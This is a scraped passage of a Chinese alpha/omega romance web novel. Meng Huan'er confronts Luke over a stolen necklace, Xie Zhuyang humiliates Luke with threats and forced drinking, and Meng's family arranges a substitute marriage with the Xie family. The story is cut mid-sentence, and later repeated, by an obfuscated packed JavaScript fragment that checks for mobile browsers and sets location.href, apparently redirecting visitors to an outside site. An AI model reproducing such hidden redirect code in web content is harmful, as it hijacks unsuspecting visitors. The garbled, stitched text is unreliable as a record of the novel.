或许是他的反应不如预期,Luke的面孔上出现一丝烦躁:“那你到底想怎样?你有他有钱吗,有他家境好吗?这年头,光是长得好看没用,你得有钱啊!否则你以为我带你出去玩的钱哪来的?那些只有有钱人才能进入的餐厅,如果不是我,你这辈子有可能踏进去一次么?” “我这样也是为了我们好,你怎么就不明白?” Luke有些焦躁地搓了搓手:“听着,我知道你心里有怨气,但我向你保证,他不会影响我跟你的关系,好么?每周,我都会抽出两到三天的时间陪你——” 孟涣尔一开始很茫然。 直到他忽然意识到,Luke是把他质问的举动,当成了在意和余情未了的一种表现。 孟涣尔睁大眼,想不到居然会有alpha这么厚脸皮又自恋。 这个人该不会以为自己是人见人爱的人民币吧。 他瞬间有种想要呕吐的欲望。 “你还真恶心啊。”他打断对方滔滔不绝的话语,看着Luke道。 “我发现他们说的还真是对的,但凡对本来配不上自己的人有一点好脸色,只会让对方得寸进尺,以为自己真的算是个东西了。” “你也配?” Luke的脸色立即变了。 他烦躁地在原地走来走去,遽然开始原形毕露:“是,我是错了,可你怎么不想想你自己的原因?” “一天到晚拉着个冷脸,仗着自己好看好像是个A都要跪舔你,正常alpha怎么可能受得了?要不是看你长得漂亮……妈的,见面几次了连个手都不给碰,我当然会心灰意冷,以为你对我没意思,所以去找别人——” ……居然还把责任转嫁到别人身上,好像自己的“不主动”才是他中途转换目标的原因。 这人绝对是个PUA大师来着。 对方态度反转得如此之快,孟涣尔已经一点都不惊讶了。 “你现在是演都不演了是吗?”他抬起头,一脸轻蔑道,“井子琪说你是贱货你都不敢发火,到了我这边你倒是牛气上了。你这见钱眼开的样子还真是又贱又cheap。” “你——”Luke两条横眉倒竖,刚要张口,却猛然发现孟涣尔的视线下移,似乎在端详他脖子上的项链。 那股火气立刻又收回去,变得不敢和孟涣尔对视起来。 他的目光到处转着圈,倏然间像是看到什么,神情被重新点燃了怒火。 “你差不多得了。”Luke冷笑一声,“咱们俩本质上有区别吗?做出一副高高在上指责人的样子,亏我之前还以为你有多干净,结果不也抱了有钱alpha的大腿?装什么清纯。” “哈?” 孟涣尔没听懂对方在讲什么。 他顺着Luke的视线回过头,这才发现谢逐扬竟然去而复返了。 那人站在距离两人十来米远的走廊交叉处,偏头朝他们这边看过来。 “喂。”他远远地冲着Luke张口,“你在那说什么呢?” 10. 第 10 章 话音落下,谢逐扬走了过来。 Luke对这个alpha有种下意识的畏惧,身体后撤半步,立刻不说话了。 也许是他早已根据蛛丝马迹察觉出来,谢逐扬是和井子琪一个圈层的人,或者比他还高。 与此同时,包间里也有脚步声靠近。 “Luke?你在外面干什么,怎么一直不进来。” 是井子琪在说话。 Luke刚想张嘴回应,对方的半个身子就从门后探了出来。 看到孟涣尔跟他身后的谢逐扬,不由得愣了一下,脸上飘过转瞬即逝的不自然。 在井子琪的身后,又有好几个人在问。 “怎么啦?发生什么了……” 包间里全是井子琪的朋友,如果全涌出来会很糟糕。 孟涣尔并不想被这么多人看热闹。 他在短暂几秒内判断了接下来可能出现的局势,转身就走。 “孟涣尔。”谢逐扬在后边叫了他一声,孟涣尔没应。 他面无表情地看了剩下的二人一眼,跟上去。 “子琪,他是……”二人走后,Luke望着alpha离开的背影,小心翼翼地问身边的井子琪。 “一个富三代,你不用知道。”井子琪有点烦躁地扭头回了包间,Luke也赶忙一起追到沙发上坐下。 “你看起来对他们两个很了解?”他试探着说,“他们是情侣关系吗?” “对外不是。”井子琪摇着手中的酒杯不屑道,“孟涣尔这个人每次都这样,一有什么事就让谢逐扬帮他出头。哼,多大人了。说他俩没一腿谁信?” 看着Luke好奇的眼神,他突然意识到自己讲得有些多了,赶紧闭上嘴。 - 会所里的走廊纵横交错,孟涣尔始终闷着头向前走。 他的脑子里乱糟糟的,满脑袋只回荡着一句话。 又被谢逐扬看笑话了。 之前在宴会上,一堆人都说Luke的不好,他还大言不惭地说他们想多了,在车上嘲讽了谢逐扬多管闲事。 结果那天在餐厅里,谢逐扬转头就见证了Luke一系列上不得台面的操作。 然后又是今天。 孟涣尔的心情简直不能用挫败来形容。 急促的脚步声被走廊上柔软适足的地毯吸走大半,只剩下快速的摩擦音。 身高腿长的alpha双手插兜,保持着一定的距离,闲逛似的跟在孟涣尔身后。 他突然叫了他一声,声音懒懒散散地:“你就这么走了?” 孟涣尔实在不知道还能怎样面对谢逐扬,对他的话充耳不闻,只是更加加快了脚步。 谢逐扬几步追赶上前,抓住孟涣尔的手腕。 “你要去哪?那边不是电梯口。” 孟涣尔被他的力道携带着,不得不转过身来。 上一句话音刚落,谢逐扬垂眼看到他那张脸,冷不丁变了脸色道:“喂,你该不会是……在哭吧?” “……” 孟涣尔一愣。紧接着别开面庞,躲避谢逐扬的目光。 他的这一举动,反而更加证实了对方的猜测。 “你真哭啦?” 谢逐扬头低下来,试图看清孟涣尔的表情,语气欠欠的,似乎还有些不可思议。 “为什么?你很喜欢他吗?他也不怎么样啊。” 孟涣尔又觉得他烦,又差点被他气笑,想说“你哪只眼睛看出来我喜欢他”,喉咙却忽然传来一阵酸意。 不知道为什么,先前那些愤懑的感受,都在看到面前这个人时化作了虚无。 剩下的只有一股突然如洪流般涌上来的委屈。 他几乎把头埋进墙里,就是不回答谢逐扬的话。 谢逐扬没有表情地看了他一会儿。 忽然转过身,就这么保持着攥住对方手腕的姿势,拉着他往回走。 “你要干什么?”孟涣尔的脸上漫过惊讶。 下一秒,意识到谢逐扬是打算带自己回到那个包间,他吓了一跳,立刻慌乱地想要止住脚步。 “喂,他们人很多!”孟涣尔提醒这人。 谢逐扬像是觉得他这句话很好笑,回过头看了孟涣尔一眼。 “我又不是去打群架。” “可是……可是可是。”孟涣尔挣脱和制止谢逐扬无果,眼看着距离包间越来越近,情急之下,一口气喊出来,“我不想再出丑了!” 前面那人的脚步猛然停住。 谢逐扬若有所思地转过身来,望向孟涣尔的面孔。 孟涣尔深吸一口气,低头看着脚下的地毯。 “他偷了我的项链,还和井子琪那帮人一起说我坏话。” “说我主动倒贴他。” “还说我,说我长得没有那么漂亮——” 说到这里,孟涣尔发出一记有些夸张的、带着颤抖的抽气声。 “。” 这家伙,到底在意的是什么。 眼前的人张开嘴,大口大口地呼吸并哽咽起来。 “……我觉得好丢脸。我不想去了。” 倒霉的样子总是被谢逐扬看到,很丢脸。 在谢逐扬的面前没出息地哭了,非常丢脸。 最后还要靠他来给自己撑腰,甚至等下,可能又要被谢逐扬目睹自己无措的样子,更更更更更加丢脸。 好像相比起Luke这件事本身,在谢逐扬眼皮底下出糗才是他最无法接受和看重的。 又是好几秒沉默。 谢逐扬再度恢复了刚才那种静静地、面无表情地端详着他的样子。 半晌,“唔”了一声道:“我知道。” 说完,就仿佛孟涣尔刚才那一番话是白讲的一样,继续拉着他往前走。 “……” 你知道什么了你就知道!!! “知道了你就停下!啊啊啊谢逐扬!”孟涣尔崩溃地叫起来。 谢逐扬并不听他的。 他们走出去的路程并不远。 谢逐扬的步伐又快,孟涣尔被动地、紧赶慢赶地追着他,还没说出个下文,两人就又回到了出发前的原地。 孟涣尔顿时噤声。 “听着。” 谢逐扬冲他弯了点腰,直到视线和他齐平。 “就是因为你总这样对着认识的人没大没小但一到外人面前就怂,你们家的人才把你当成没断奶的婴儿一样一直让我照顾你。” “现在,把你的眼泪给我憋回去。等下你要是不知道该说什么,就在旁边看我眼色行事。明白?” 孟涣尔一愣,看着他不说话,只眨了眨眼。 下一秒,谢逐扬推开包间房门。 - 一时间,房间内所有人都朝门口看了过来。 见到他们刚才还在议论的当事人出现在眼前,满屋的欢声笑语立刻变得荡然无存。 “原来你们在这边聚会啊,我就说在外面听怎么那么热闹。” 谢逐扬单手插兜,闲庭信步地拉着看上去不大情愿,却也没有抗拒的孟涣尔走过来。 井子琪见状,背过去翻了个白眼:“我就知道。” 他忽然一个凌厉的眼刀甩向Luke:“你那是什么表情?吃屎了?” 不等对方回答,两人已经到了近前。 谢逐扬俨然一副反客为主的主人态度,带着孟涣尔在边上的空沙发上坐下。 完全看不到井子琪满脸写着不欢迎的表情一般,自顾自地冲他抬了抬下巴,自来熟道:“这是你新交的男朋友吗?什么时候的事,介绍一下呗。” 井子琪费了好大的力气压住不满,几乎是从齿缝中挤出笑:“……谢逐扬,谢少爷。我们好像不熟吧?我交没交男朋友,和谁交朋友,和你有什么关系?” 话音刚落,会所管家不知从哪接到消息,匆匆忙赶了过来。 “哎呀谢先生,好久不见,您怎么到这来了……” 话没说完,被谢逐扬勾勾手指叫到近前,耳语几句。 管家听完愣了一下,看见谢逐扬点点头,就又出去了,留下跟来的服务生给刚来的两人端来赠送的酒水。 井子琪狐疑不定地看着他们这一串动作。 “本来呢,确实是不关我的事。”谢逐扬开口了。 他从托盘上抓起酒杯,摇晃两下:“不过我前两天路过梁滨在春柳路那边开的餐厅,见到了你这位男朋友呢。” “拿着你的会员卡请其他omega吃饭还送花,信誓旦旦说自己和餐厅老板是熟人,这件事你知情吗?” 另一边的沙发上,井子琪的几个狗腿子已经开始窃窃私语起来,井子琪一个眼神瞪过去,他们又迅速沉寂。 谢逐扬面带促狭地观察着这些人的神情:“我很好奇,这也算‘好心拒绝’的部分吗?这位仁兄很博爱嘛,都和人在一起了,还拿着男朋友的钱炫富装逼送温暖,走的时候都不忘顺走一条项链,你还真是两头捞,哪边都不手软。” 说到后面,他的目光慢慢移向Luke。 方才还语气戏谑的人眼神里瞬间多了些压迫感:“你知不知道侵占他人财产,数额达到五千元就可以被判刑。现在还傻坐在那,是要我立刻报警吗?” 井子琪虽然对谢逐扬这种谁都不放在眼里的风格很没好感,却也不认为他会无中生有。 听了这话,狐疑不定地看向身边的alpha:“Luke,这是怎么回事?” 他拿起随身的钱夹翻找起来,大概是真的发现没了一张卡,瞬间惊怒道:“说话!” Luke在沙发上,显得尤其的坐立不安。 好几秒后,他像是屁股上安了弹簧一样猛地站立起身,慌乱从脖颈处解下那条项链,朝谢逐扬和孟涣尔的方向走来。 “对不起,我……” “谁允许你就这么随随便便把项链还回来的。”谢逐扬漠然地打断他,“你当小学生偷橡皮擦呢,这里可没有人对你说‘小孩子没关系’了。” Luke的脸色变了又变。 下一秒,他直接“咣当”一声,跪在了包间内的地毯上。 满屋哗然。 孟涣尔也被吓了一跳。 他轻声嘟囔了一句“什么啊”,整个人如同被烟头烫到,在沙发上后退了快十公分,求助似的看向一旁的谢逐扬。 谢逐扬也惊讶地扬了下眉。 “哥们儿你跪得很流畅啊,以前没少做这种事吧。偷东西被人发现,然后再假装洗心革面磕头认错一波?” Luke深深把上半身低下去:“对不起!我不是故意的,我以为那是条A货,因为涣尔经常说他的项链什么的都是假的,我心说仿得还挺真的,就没忍住……” “就算是假的,你也不能一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你的任务呢,就是每天到这家俱乐部来报道,直到你从你的排泄物里找到这条项链。记住——一定要从排泄物里找哦,别想用催吐这种方法蒙混过关,到时候我会让人监督你上厕所。” “如果你找到了,我就当没有这回事。找不到的话,我就跟警察说你拿走了项链但是拒不归还,送你去坐牢,因为你去的餐厅监控明明白白地记录了你拿走项链的一举一动,狡辩是没用的。” 他五官端正,是让人看了就觉得目眩的那种俊美,说出口的话却字字令人心惊。 变态吧这人——在场无数人心中同时掠过这么一句。 “喂谢逐扬,你别太过分了!”井子琪终于没忍住叫了他的名字,“他就算真做错了事,那你也该诉诸法律,有必要这样吗?!” 看Luke一言不发认错的态度,他便知道谢逐扬九成说的是真的。如果可以,井子琪真不想管这种破事。 可现在谢逐扬明知道这是他的场子,还故意在自己面前刁难Luke,他要是还一点反应都没有,无异于默认让谢逐扬打自己的脸。 他烦躁至极,开口却并没有什么底气。 井子琪他们家是做零食快消的,曾经辉煌过,如今倒是没落了不少,和谢逐扬他们不是一个等级,经常玩的圈子也不怎么重叠。 之所以会有梁滨那家餐厅的会员卡,是因为他爸最近想和梁滨他们家谈供应链合作,为了讨好对方,连老板儿子的爱好都照顾到了。 他们那伙人关系都铁得很,保不齐梁滨真会为了他兄弟半途插一脚。 “我过分?”谢逐扬笑了声。 “你知道有多少犯错的人,为了不去蹲局子,在受害者面前是痛哭流涕地下跪求饶自扇嘴巴。我只是让他有诚意一些,或许我心情一好,就原谅他了,有错吗?究竟是我不懂法,还是你不懂法?” “或者你自己问问他,是想在这里和我私了,还是闹到警察局去?” 鸦雀无声。 听到这里,孟涣尔终于在旁边推搡了一下谢逐扬的肩膀。 见一群人都在看着他们,他用手挡住自己的下半张脸,对谢逐扬小声耳语:“你适可而止吧。这也太恶心了,你这样搞完项链我还怎么要?” “说了给你新买一条了。”谢逐扬侧过眼反问他,“别人戴过的项链,你拿回来还戴?” 孟涣尔哑然了一下。 “给他一个教训而已。”谢逐扬嘴唇翕动,同样翁声道,“这种人,我不治他,迟早会有别人收拾他。” “那也不行!”孟涣尔不自觉地着急起来,“你这样也太像□□了。要是这些人嘴不严,把事情传了出去,你觉得别人会怎么看你?万一影响到你本人还有公司怎么办?” 在场的可都是井子琪的朋友—— 谢逐扬侧过头,意味不明地打量了孟涣尔一下。 忽然从鼻子里哼笑了声:“逗你玩的。” 这话说完没两秒,刚才被谢逐扬支出去的管家就回来了。 跟在他身后的服务生带来了三支看上去一模一样的红酒。 谢逐扬的指尖掠过瓶身,敲出轻轻的脆响。 “这几瓶酒,本来是寄存在这里准备招待客人用的。2004年的勒桦慕西尼特级园红,一瓶价值四条项链。如果没有我的话,你又要靠攀多少个有钱omega才能喝到那么一小口?” “别说我对你不够意思,自罚吧。” 11. 第 11 章 他冲服务生抬了抬下巴,对方立刻会意,开封倒酒。 Luke见状,也知道自己逃不过去,深吸一口气,接过酒杯牛饮起来。 全场如同死一般寂静,只能听见谢逐扬悦耳清沉的话一句接着一句。 “喝。” “再喝。” “继续。” “再给他倒一杯。” 没人出声阻拦,只有此起彼伏的呼吸,还有被现场的氛围吓到四处乱瞟的眼神。 Luke的喉结狼狈地滚动着,红色的液体不断从他的嘴角落下,打湿他身上的衬衣。 其实没人规定和强迫他一定要喝多少、喝多快,但他就像有野兽在后面追赶一样,动作不敢有半分停顿。 就这样一瓶,两瓶。 开到第三瓶时,男人终于承受不住了。 在场众人只听他的喉咙间突然传出一声巨响,紧接着整个人都趴在地上,将刚喝下去的酒全部吐在了包间内同样深色的地毯上。 翻着白色泡沫的液体洇进布料,空气中弥漫着一股胃酸、红酒乃至更早前吃下肚的半消化食物都交杂在一起的酸臭味。 旁边的服务生象征性地递给他一只手,被Luke自己摆摆手拒绝了,重新爬起来,跪在地上,又仰头干掉一整杯酒。 随后俯身再吐。 服务生拿了个干净的新杯子,将最后一杯酒倒上。 谢逐扬侧过脸,对井子琪道:“你也喝一杯吧,就当作是你刚才说孟涣尔坏话的惩罚。” 他耸耸肩:“我说过我对omega很宽容的。” 旁边的人递来倒好酒的酒杯。 井子琪手抖个不停,不知道是气的还是怕的,仰起头时,红色的酒液在透明的杯中海浪一般摇晃。 整场戏结束,谢逐扬像模像样地抻起衣服袖口,看了眼腕表上的时间,施施然起身。 “我还有事,先不奉陪了。各位玩得愉快。” 说完,示意身边的孟涣尔和他一起离开。 孟涣尔听了都忍不住在心里吐槽,他这么一番大闹,今晚这里还有谁能愉快? 但还是闭唇不语地跟在他身后。 看到这两人起身,余下所有人都悄悄放松了背脊。 谢逐扬走出几步,又忽然想起什么,冷不丁回过头来,把好些人惊得倒吸冷气。 “话说——你们知道说闲话的下场吧?提醒一句,我整人的方法可是非常多的,哦?” 他轻松一笑,这才彻底迈出门口。 留下包间内的大伙儿你看看我,我看看你,全都面如土色。 - 走出包间,孟涣尔迫不及待地呼吸了一口新鲜空气,扭头看着谢逐扬道:“你刚才那个说法也太变态了,你干嘛老那么吓人?” 孟涣尔乍一听的时候也和其他人一样,被吓了一大跳。 但他很快就反应过来,对方不可能真的这么做。 谢逐扬这个人,天生就有一种恶趣味,似乎对怎么让人感到不适有着浓厚的天赋和兴趣。 他制作的游戏往往以黑暗、重口、刺激,有着天马行空的想象力又出其不意而闻名,玩家们对这位年轻制作人的评价是:很懂得怎么恶心人,但是又让人欲罢不能。 孟涣尔一听他说话就知道,谢逐扬又把自己做游戏的那一套搬到现实生活中来吓唬人了。 像Luke这种捡拾到他人昂贵财物的侵占行为,除非对方拒不归还,否则是没办法立案定罪的——Luke显然没有头铁到那个地步。 谢逐扬想必也是知道这点,才要在这么多人面前整他,替孟涣尔出一口恶气。 对此,谢逐扬的回答是:“因为这世上有的人就是好好对他说话他不把你当回事,非要恐吓才可以啊。” 他冷漠地说着,回过头,忽然开始打量孟涣尔:“你来这边干什么?” 被他这么一提醒,孟涣尔才想起自己本来是被滕亦然捉来玩的。然而现在发生了这种事,孟涣尔也没心情再在这里待下去了。 他拿出手机,给滕亦然发了条消息,说自己有点累,先回去了。对方在这边也有认识的朋友,少他一个没什么关系。 谢逐扬:“那我送你。” “嗯?”孟涣尔不解,“你没事了吗?不是和别人一起来的?” 孟涣尔想到先前在走廊上叫他的人。 “那个啊。”谢逐扬无聊地说,“也不是什么重要的事。说是要给我介绍投资人,结果实际是想把对面的妹妹介绍给我,每天去见我爸让我见的那些已经够烦了,才不要加班——我跟他说要送领居家的小孩回去,就不参加了。” 孟涣尔:。 领居家的小孩。这话怎么听着怪让人不爽的。 合着这人根本是拿他当拒绝的幌子。 “哟。”孟涣尔忍不住有点阴阳怪气地说,“看来你在omega里面还挺受欢迎的?” “没办法,有这张脸哥拿什么输。”谢逐扬朝外面走着走着,对着走廊上反光的镜面装饰物整理了下自己的发型,“你又不是第一天知道我追求者多。” “……”真自恋。 以孟涣尔以往的脾气,这会儿绝对要狠狠地嘲讽他几句。 可是谢逐扬刚刚帮了他,这么以怨报德不大合适。 更何况,他不久前还在对方面前疑似哭了来着。 他一顶嘴,又被谢逐扬把这件事拿出来嘲笑怎么办。 孟涣尔撇撇嘴,重重地道:“就该让那些人看看你在包间里的样子,说不定就对你不感兴趣了。” “那我求之不得。”谢逐扬看上去对他的话一点也不在意,“你就说有没有效吧——换成你自己来,能这么一雪前耻么?我看看你还哭没哭。” 他打趣似的凑过来,又要低头看孟涣尔的脸。 “你好烦……走开啦!”孟涣尔边推他边警告这人,“我跟你说今天的事你不许告诉牧天睿他们你听到没有?” 谢逐扬好一会儿没应,低头含笑着边看手机上的消息边往前走,孟涣尔不满地推了他一把:“你说话啊!” “知道了——”谢逐扬无聊地拉长嗓音。 - 上车后,谢逐扬做的第一件事是给家里打了个电话。 “嗯。不聊事了。不急,我先把孟涣尔送回去。我在俱乐部这边碰到他了,对……” 过了数秒,谢逐扬放下手机问他:“我妈问你要不要去我家吃饭,她好久没见你了。” 孟涣尔面露惊讶,旋即想起来今天是周五,算算时间,也该到他回主家看望的日子了。 孟家的小辈倚仗家族的资源长大,虽然和家中长辈的关系并不亲厚,不过即便是看在孟老爷子本身的威望以及家族培养的情分上,每个月都要例行回去看望几次,这是规矩。 说实话,孟涣尔最近真不想回去。大概是看他年纪到了,姑妈这几个月越发变本加厉地想给他介绍男朋友,孟涣尔想到就头疼。 只是蹭一顿饭而已…… 孟涣尔瞬间意动了,只考虑了几秒就说:“行,那就去你家。” 行程目的地由此转向。 到谢家时已是饭点,免去了许多不必要的寒暄,孟涣尔对着长辈还算嘴甜,叫了一圈人之后,便和大家一起坐下吃饭。 吃到一半,谢悦宜回来了。 “悦宜姐——”孟涣尔像往常一样,叫着女人的名字。桌边的其他人也纷纷回身,和她打招呼。 然而谢悦宜谁也没有额外搭理,只是路过餐厅时,匆匆对着主位的方向小幅度地点点头,随后就当众人不存在一样,低头冲上了二楼。 一干人等面面相觑。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16559664|186861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 直到一名助理似的人物匆匆从外边赶来,俯身在谢老爷子的耳边讲了几句什么。 下一秒,谢老爷子竟气得摔了筷子。 “混账!简直胡闹!” 说完,直接背着手离开了餐桌边。 ……他这个外人,似乎撞见了什么不该知道的事。 孟涣尔瞬间大气都不敢出,眼观鼻、鼻观口,口观心,低头一个劲喝面前碗里的汤。 两侧的几个子女见老人这样,不知是谁先拿起手机看了一眼,脸色紧跟着和谢老爷子一样大变,也都追上去:“爸——” 灯火明亮的餐厅顿时空了大半,只有谢逐扬还坐在他旁边,手里同样拿着电子设备在瞧。 “没事,你继续吃。”感受到孟涣尔探询的目光,他这样对他说。 那人话是这样讲,动筷子的频率却明显低了下来,过了两三分钟,干脆将餐具一放,也就餐完毕了。 主家的人都走了,孟涣尔没理由再心安理得地待下去,见状,很是识趣地和他道别,自己也打算回孟家。 谢逐扬说:“我让管家开车送你。” 谢家主宅和孟家主宅离得近,都在同一片豪宅社区,走路只要二十分钟,开车更快。 孟涣尔回到孟家,见到的杂乱景象甚至不亚于自己来时的地方。 家中的五六名长辈都乌泱泱地聚集在复古洋房风格装潢的客厅里,二叔正在发火:“那个小兔崽子人呢?惹出了这么大乱子,他倒好,直接消失不见了!” 大家都面露凝重与忧虑,一时半会儿也没什么人注意到他的存在。 孟涣尔懵然地站在门口,张望了好一会儿,才从大厅一众惶惶的人影中看见姑妈的身影。 他贴着边溜过去,跟对方打听到底发生了什么。 “你华翰哥……哎。”她十分为难地朝他凑近,压低声音道,“他在公司里搞小三,也不知道怎么跟对方说的,临近婚期,突然就闹起来,据说还曾经找到你悦宜姐那里去。” 孟涣尔的脑内瞬间闪过那天宴会上谢悦宜憔悴的面容。 “本来么,这件事家里是不知情的,你悦宜姐也一直瞒着。今天倒好,小三直接把他们两个的艳照群发给公司内部所有员工了!” 短短几句话,十分具有画面感和冲击力,孟涣尔一下明白家里这兵荒马乱、风雨已来的氛围是从何而来。 公司内部高管出了丑闻,导致企业形象出了差错,对公司股价乃至近期的生意都绝对会有影响。 更何况这事发生在孟谢两家之间。 双方企业结缘已久,在孟华翰和谢悦宜有婚约之前就有过不少合作,二人的结合,是其背后的家族进一步深度结盟的标志与保证。 孟涣尔早就听说过,他们结婚以后,两家打算共同出资成立一家新的企业,就交由孟华翰和谢悦宜担任重要职位。 现在二人关系破裂,那这家原本被两方寄予了厚望的新企业是继续还是不继续?要以什么样的由头继续? 孟华翰的事是否会对他们间正在进行的合作项目也带来不良的负面效果? 看似“简单”的一件失德丑闻背后,是一连串拔出萝卜带出泥的麻烦。 姑妈叹气道:“这婚怕是结不成了,而且,谢家看样子很生气,后面还不知道该怎样问责呢。” 孟涣尔怔怔地看着她。 顷刻间,之前在谢家看见的一幕幕似又在他眼前浮现。 女人讲完这一大串,反应过来,问孟涣尔吃饭了没有。 得到肯定回答,便让他早点回房休息,少出来凑热闹。 她很快转向身边的老二媳妇:“哎哟我的天哪,这是什么事——” 身后的窗外忽然传来轰隆雷声。 孟涣尔转头一瞧。 三月份的帝都居然下雨了。 12. 第 12 章 孟家老宅的灯亮了一夜。 一整个晚上,孟涣尔躺在床上,都能听见许多人在楼上楼下来来往往的脚步声。 白天路过二楼书房,里面也总有人在低声交谈,估计是在商议事情该如何解决。 这件事按理来说和孟涣尔没关系,他却也被家中的气氛感染,莫名的失了眠。孟家像是一座对他来说很高很远的庇护所,当屋顶外边风雨飘摇,他也下意识为之感到心惊。 周末呆了一天半,孟涣尔在周日下午就回到了市区的公寓。 随后的几天,他试着给姑妈发消息,旁敲侧击后续的走向,对方像往常一样,回了他一句“大人的事小孩别瞎操心”。 孟涣尔怎么可能听,转头又去谢逐扬的微信账号上找他:【事情我听说了,你们家那边现在怎么样?】 孟家和谢家都是三代之家。 谢逐扬和谢悦宜是亲姐弟,他们的父亲前几年在一众兄弟子女的斗争中脱颖而出,成为了集团CEO,不出意外,往后也将接任董事长的宝座。 谢悦宜作为集团未来继承人的女儿,条件总归是要在男朋友之上。孟华翰“高攀”了女方,却不懂得珍惜,想必不管是他们的老爸还是谢逐扬,心中都不可能没怨气。 自己这时候再来火上浇油,不是个明智的决定,谢逐扬未必想看到。 消息发出去没两分钟,孟涣尔意识到不妥,又赶紧撤回。 还是算了。 这时候的孟涣尔还保持着局外人的心态。 他在学校上了几天课,周三的时候,接到了孟家那边让他回去一趟的消息。 孟涣尔感到很惊讶。 这还是很少见的,主家居然会在他上学中途召唤自己。而且据说非常重要,必须让他抽时间动身。 这会儿让他过去是要做什么呢? 孟涣尔的心中生出不祥的预感。 他打了个车,踏上回途的路程。 才到家十多分钟,就被叫去谈话了。 展开这场谈话的主角是孟涣尔的二叔,一个十分有威严的男人。姑妈孟丽珠则站在一旁,脸上带着隐晦的忧虑望向他。 对方先是简单介绍了下家里的情况,然后告诉孟涣尔,这几天,孟家和谢家进行了几次紧急的会议和谈判,想看看能怎样尽力弥补当前的局面。 “你华翰哥和悦宜姐的婚肯定是结不了了。”二叔说,“但我们商量了一下,订婚还是要进行。” 孟涣尔听他这么说,起先没有反应过来。 订婚还要进行?可是已经没人去了啊。 下一秒,二叔道:“所以我们两家决定,换一对人来结婚。” “我们家最后选出的人是你。” …… “什么?!!” 滕亦然忍不住结巴起来:“你你你……你家里让你和谢家的人结婚???” 孟涣尔趴在桌上,有气无力地点了点头。 虽然事发当晚,公司已第一时间让各个部门和底下的员工约谈,再三勒令邮件内容不许外泄,但总有好事和不怕死的人。 天底下没有不透风的墙,这条豪门花边新闻很快就在网络上以语言描述的形式散播起来。 更有匿名人士透露,公司高管、企业现任CTO孟华翰将与谢氏集团的谢悦宜原定将于近期喜结连理,两方已提前大半年订下某处会展中心当做订婚宴的举办地点。 不少人都等着看这桩闹剧该如何收场,两方家族会怎么应对。 孟家和谢家,在这件事上都有着相对一致的考虑。 感情归感情,生意归生意。 合资创立的新公司已经整装待发,不可能因此按下暂停。 但坏就坏在事情发生的这个节骨眼。 双方公司决定正式展开深度战略合作之际,刚好两家之中也出了对新人,本来是双喜临门的好事。 他们甚至专门把正式宣布合资新企业与未来合作计划的签约仪式安排在了这场订婚宴后,就是为了显示两方关系的稳固与和睦,打量良好的对外形象。 丑闻一出,哪怕是好事也变了味。 想要把它盖过去的最好方式,就是在短期内迅速用另一件事来掩盖。 “订婚宴在下个月十六号,到时候我们会对外说宴席本来就是为了你们准备的。”二叔这样告诉他。 ——是有人要结婚,但,从来就没有人明确说过会是哪两个人。 这是他们最后想出来的方法。某种程度上也可以保护谢悦宜免受舆论侵扰。 要想一点漏洞都没有是不可能的。 两个家族想展现的,是无论如何都能找到替代方案,无论怎样都不会被竞争对手找到可乘之机的能力和底气。 只要他们咬死了不松口,旁人就算知道真实情况又能如何? 应对的大方向一出,家里的长辈立刻就开始考虑起具体的人选。 排除掉已婚的、未成年的,和同样出身显贵的对象感情稳定的……在本家的小辈里筛选一圈,剩下符合条件的人寥寥无几。孟涣尔很快脱颖而出。 至于谢家那边的人选,就是个孟涣尔不熟的人。 孟家的长辈猜到这突如其来的消息对孟涣尔来说肯定很冲击,表现出了十分的“善解人意”,让他可以回去考虑几天,周末再给答复。 说白了,就是给他一个最后期限。 “那怎么办?!天啊晃儿,你该不会真要结婚吧……”滕亦然整个人完全处在惊呆了的状态。 孟涣尔倒是也想问该怎么办。 手机忽然响起来电,他拿起来看了一眼,上面显示的名字是“孟德泽”。 孟涣尔心里一沉,保持着这个举起手机的姿势许久没动。 滕亦然看出他的抵抗,好奇又疑惑地凑过来瞧了一眼:“这人谁?” 孟涣尔:“我爸。” “你爸?——”滕亦然诧异地跟着重复一遍。 来电足足持续了五十秒。五十秒一到,电话自动因为长时间没人接听而挂断。 孟德泽又打了第二通过来。 意识到有些事再怎么逃避也躲不过去,这回孟涣尔只等了十多秒就按下接通。 孟德泽在电话那边开门见山地通知他:“我后天的飞机回去。” 没有过多的寒暄,电话很快挂了。 孟涣尔盯着手机发呆。 他幼年时确定被主家抚养后,孟德泽很快就去了其他城市的分公司工作。这些年男人绝大部分时间都待在外地,只有逢年过节会偶尔回来。 对方在这时突然准备现身,估计也是听说了消息。 孟涣尔对此并不意外。 他在老宅听二叔说完原委,就很快明白过来。 论起在家族里的地位,他和他爸都是不会被纳入继承人范围的边缘透明人。但他好歹是直系亲属,迄今单身又外貌出众,是完美的白纸一张,足够交差和显出对谢家那边的歉意与重视。 而且正是因为他爸不受宠,父子二人拿捏起来也更容易。 孟家说是尊重他的意见,但估计背后也许诺了孟德泽不少好处。联姻的事孟涣尔愿意最好,若是不愿意,还不等其他人来施压,他爸就是最先劝他见好就收的那一个。 不管怎样,自己都不能坐以待毙。 孟涣尔调出手机通讯录,一个电话打给了谢逐扬。 “我‘中奖’了你听说没?什么时候有空,有点事找你打听一下。” - 他挑选了一个自己去过的茶餐厅当见面地点,滕亦然也跟着一块去了。 两人点完餐后十多分钟,谢逐扬姗姗来迟:“路上堵了下车,抱歉。” 孟涣尔此行的目的很简单,是想从谢逐扬这里探探他那个可能的“结婚对象”的底。 谢逐扬也不负所托,一上来就朝桌上扔出一叠照片。 “你自己看吧。” “这是什么?” 孟涣尔好奇地接过来,听见谢逐扬说:“他交往过的前任合集。” 孟涣尔随意翻了几下,滕亦然在旁边咂舌:“这些……全都是?这得组两个足球队了吧?” “哦,那倒不是。” 滕亦然刚松一口气。 